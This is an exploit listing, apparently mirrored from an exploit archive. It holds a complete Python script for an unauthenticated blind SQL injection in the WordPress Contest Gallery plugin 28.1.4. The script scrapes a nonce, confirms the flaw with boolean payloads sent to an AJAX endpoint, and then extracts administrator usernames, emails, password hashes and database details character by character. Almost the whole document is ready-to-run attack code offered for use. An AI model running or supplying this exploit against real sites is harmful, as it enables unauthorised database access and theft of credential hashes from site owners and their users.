Share
## https://sploitus.com/exploit?id=PACKETSTORM:223805
==================================================================================================================================
    | # Title     : WordPress Contest Gallery 28.1.4 Unauthenticated Blind SQL Injection Advanced exploitation with data extraction  |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://wordpress.org/plugins/contest-gallery/                                                                   |
    ==================================================================================================================================
    
    [+] Summary    :   an unauthenticated blind SQL injection exploit targeting a vulnerability in a WordPress plugin (Contest Gallery 28.1.4). 
                       It abuses a vulnerable AJAX endpoint to infer database data by comparing server responses.
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import requests
    import sys
    import argparse
    import time
    import hashlib
    import binascii
    from urllib.parse import urljoin
    
    class ContestGalleryExploit:
        def __init__(self, target_url, verbose=False):
            self.base_url = target_url.rstrip('/')
            self.ajax_url = urljoin(self.base_url, '/wp-admin/admin-ajax.php')
            self.verbose = verbose
            self.nonce = None
            self.page_id = "1"
            self.table_prefix = "wp_"
            self.true_response_length = 0
        def log(self, msg, level="INFO"):
            if level == "SUCCESS":
                print(f"\033[92m[+] {msg}\033[0m")
            elif level == "ERROR":
                print(f"\033[91m[-] {msg}\033[0m")
            elif level == "WARNING":
                print(f"\033[93m[!] {msg}\033[0m")
            elif level == "DEBUG" and self.verbose:
                print(f"\033[94m[*] {msg}\033[0m")
            else:
                print(f"\033[96m[*] {msg}\033[0m")
        def get_nonce(self):
            """Extract nonce from public pages"""
            self.log("Extracting nonce...")
            paths = [
                '/contest-gallery/gallery',
                '/gallery',
                '/wp-json/contest-gallery/v1/config'
            ]
            for path in paths:
                url = urljoin(self.base_url, path)
                try:
                    response = requests.get(url, timeout=10)
                    if response.status_code == 200:
                        patterns = [
                            r'cg_nonce["\']?\s*:\s*["\']([a-f0-9]+)["\']',
                            r'name=["\']cg_nonce["\']\s+value=["\']([a-f0-9]+)["\']',
                            r'data-nonce=["\']([a-f0-9]+)["\']'
                        ]
                        for pattern in patterns:
                            import re
                            match = re.search(pattern, response.text, re.IGNORECASE)
                            if match:
                                self.nonce = match.group(1)
                                self.log(f"Nonce found: {self.nonce}", "SUCCESS")
                                return True
                except:
                    continue
            self.log("Failed to obtain nonce", "ERROR")
            return False
        def get_page_id(self):
            """Find valid page ID"""
            self.log("Finding valid page ID...")
            for pid in range(1, 10):
                test_email = f"test{pid}@test.com"
                response = self.send_payload(test_email, str(pid))
                if response and response.status_code == 200:
                    self.page_id = str(pid)
                    self.log(f"Valid page ID: {self.page_id}", "SUCCESS")
                    return True
            self.log("Using default page ID: 1")
            return True
        def send_payload(self, email, page_id=None):
            """Send payload to vulnerable endpoint"""
            if page_id is None:
                page_id = self.page_id
            data = {
                'action': 'post_cg1l_resend_unconfirmed_mail_frontend',
                'cgl_mail': email,
                'cgl_page_id': page_id,
                'cgl_activation_key': '',
                'cg_nonce': self.nonce
            }
            try:
                response = requests.post(self.ajax_url, data=data, timeout=10)
                return response
            except Exception as e:
                self.log(f"Request failed: {e}", "ERROR")
                return None
        def check_vulnerability(self):
            """Check if target is vulnerable"""
            self.log("Checking vulnerability...")
            true_payload = "aaaaaaa'OR/**/1=1#@test.com"
            false_payload = "aaaaaaa'OR/**/1=2#@test.com"
            true_response = self.send_payload(true_payload)
            false_response = self.send_payload(false_payload)
            if true_response and false_response:
                self.true_response_length = len(true_response.text)
                if len(true_response.text) != len(false_response.text):
                    self.log("Target is VULNERABLE to boolean-based blind SQL injection!", "SUCCESS")
                    return True
            self.log("Target does not appear vulnerable", "ERROR")
            return False
        def blind_query(self, condition):
            """Execute boolean-based blind SQL injection"""
            payload = f"aaaaaaa' OR (SELECT IF(({condition}), 1, 0)) AND '1'='1#@test.com"
            response = self.send_payload(payload)
            if response:
                return len(response.text) == self.true_response_length
            return False
        def extract_string(self, query, max_length=100):
            """Extract string from database using blind SQL injection"""
            result = ""
            for pos in range(1, max_length + 1):
                found = False
                for code in range(32, 127):  
                    char = chr(code)
                    if char in ["'", "\\"]:
                        char_escaped = "\\" + char
                    else:
                        char_escaped = char
                    condition = f"({query}) = '{result}{char_escaped}'"
                    if self.blind_query(condition):
                        result += char
                        print(f"\r[*] Extracted: {result}", end="", flush=True)
                        found = True
                        break
                if not found:
                    break
            print()
            return result
        def extract_integer(self, query, max_bits=32):
            """Extract integer from database using blind SQL injection (bit-by-bit)"""
            result = 0
            for bit in range(max_bits):
                condition = f"({query} >> {bit}) & 1 = 1"
                if self.blind_query(condition):
                    result |= (1 << bit)
            return result
        def get_table_prefix(self):
            """Extract WordPress table prefix"""
            self.log("Extracting table prefix...")
            common = ['wp_', 'wp1_', 'wp2_', 'wordpress_', 'wp3_']
            for prefix in common:
                condition = f"SELECT COUNT(*) FROM {prefix}users > 0"
                if self.blind_query(condition):
                    self.table_prefix = prefix
                    self.log(f"Found table prefix: {prefix}", "SUCCESS")
                    return prefix
            prefix = ""
            query = "SELECT SUBSTRING(table_name, 1, 1) FROM information_schema.tables WHERE table_schema = DATABASE() AND table_name LIKE '%users' LIMIT 1"
            prefix = self.extract_string(query)
            prefix = prefix.replace('users', '')
            self.log(f"Extracted table prefix: {prefix}")
            self.table_prefix = prefix
            return prefix
        def get_admin_users(self):
            """Extract administrator usernames"""
            self.log("Extracting administrator users...")
            users = []
            count_query = f"SELECT COUNT(*) FROM {self.table_prefix}users u JOIN {self.table_prefix}usermeta um ON u.ID = um.user_id WHERE um.meta_key = 'wp_capabilities' AND um.meta_value LIKE '%administrator%'"
            admin_count = self.extract_integer(count_query)
            self.log(f"Found {admin_count} administrator user(s)")
            for offset in range(admin_count):
                username_query = f"SELECT u.user_login FROM {self.table_prefix}users u JOIN {self.table_prefix}usermeta um ON u.ID = um.user_id WHERE um.meta_key = 'wp_capabilities' AND um.meta_value LIKE '%administrator%' LIMIT 1 OFFSET {offset}"
                username = self.extract_string(username_query, 50)
                email_query = f"SELECT u.user_email FROM {self.table_prefix}users u WHERE u.user_login = '{username}' LIMIT 1"
                email = self.extract_string(email_query, 100)
                id_query = f"SELECT u.ID FROM {self.table_prefix}users u WHERE u.user_login = '{username}' LIMIT 1"
                user_id = self.extract_integer(id_query)
                users.append({
                    'username': username,
                    'email': email,
                    'ID': user_id
                })
                self.log(f"  User {offset+1}: {username} (ID: {user_id})")
            return users
        def get_password_hash(self, username):
            """Extract password hash for a specific user"""
            self.log(f"Extracting password hash for {username}...")
            query = f"SELECT u.user_pass FROM {self.table_prefix}users u WHERE u.user_login = '{username}' LIMIT 1"
            hash_value = self.extract_string(query, 100)
            self.log(f"Password hash: {hash_value}")
            return hash_value
        def get_wp_config(self):
            """Extract WordPress configuration"""
            self.log("Extracting WordPress configuration...")
            config = {}
            db_name = self.extract_string("SELECT DATABASE()", 50)
            config['DB_NAME'] = db_name
            self.log(f"Database name: {db_name}")
            db_user = self.extract_string("SELECT USER()", 50)
            config['DB_USER'] = db_user
            self.log(f"Database user: {db_user}")
            mysql_version = self.extract_string("SELECT VERSION()", 50)
            config['MYSQL_VERSION'] = mysql_version
            self.log(f"MySQL version: {mysql_version}")
            wp_version = self.extract_string("SELECT option_value FROM wp_options WHERE option_name = 'blogversion' LIMIT 1", 20)
            if wp_version:
                config['WP_VERSION'] = wp_version
                self.log(f"WordPress version: {wp_version}")
            return config
        def run(self, extract_type="all"):
            """Main exploit routine"""
            if not self.get_nonce():
                return False
            if not self.get_page_id():
                return False
            if not self.check_vulnerability():
                return False
            self.get_table_prefix()
            if extract_type in ["users", "all"]:
                users = self.get_admin_users()
                if extract_type == "all":
                    for user in users:
                        user['password_hash'] = self.get_password_hash(user['username'])
            if extract_type in ["config", "all"]:
                config = self.get_wp_config()
            self.log("\n" + "=" * 60, "SUCCESS")
            self.log("EXTRACTION COMPLETE!", "SUCCESS")
            self.log("=" * 60)
            return True
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2026-3180 - WordPress Contest Gallery Blind SQL Injection"
        )
        parser.add_argument("-u", "--url", required=True, help="Target WordPress URL")
        parser.add_argument("--extract", choices=["users", "config", "all"], default="all", 
                            help="What to extract (default: all)")
        parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
        args = parser.parse_args()
        print("""
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘  CVE-2026-3180 - WordPress Contest Gallery 28.1.4              โ•‘
    โ•‘  Unauthenticated Blind SQL Injection                            โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
        """)
        exploit = ContestGalleryExploit(args.url, args.verbose)
        exploit.run(args.extract)
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================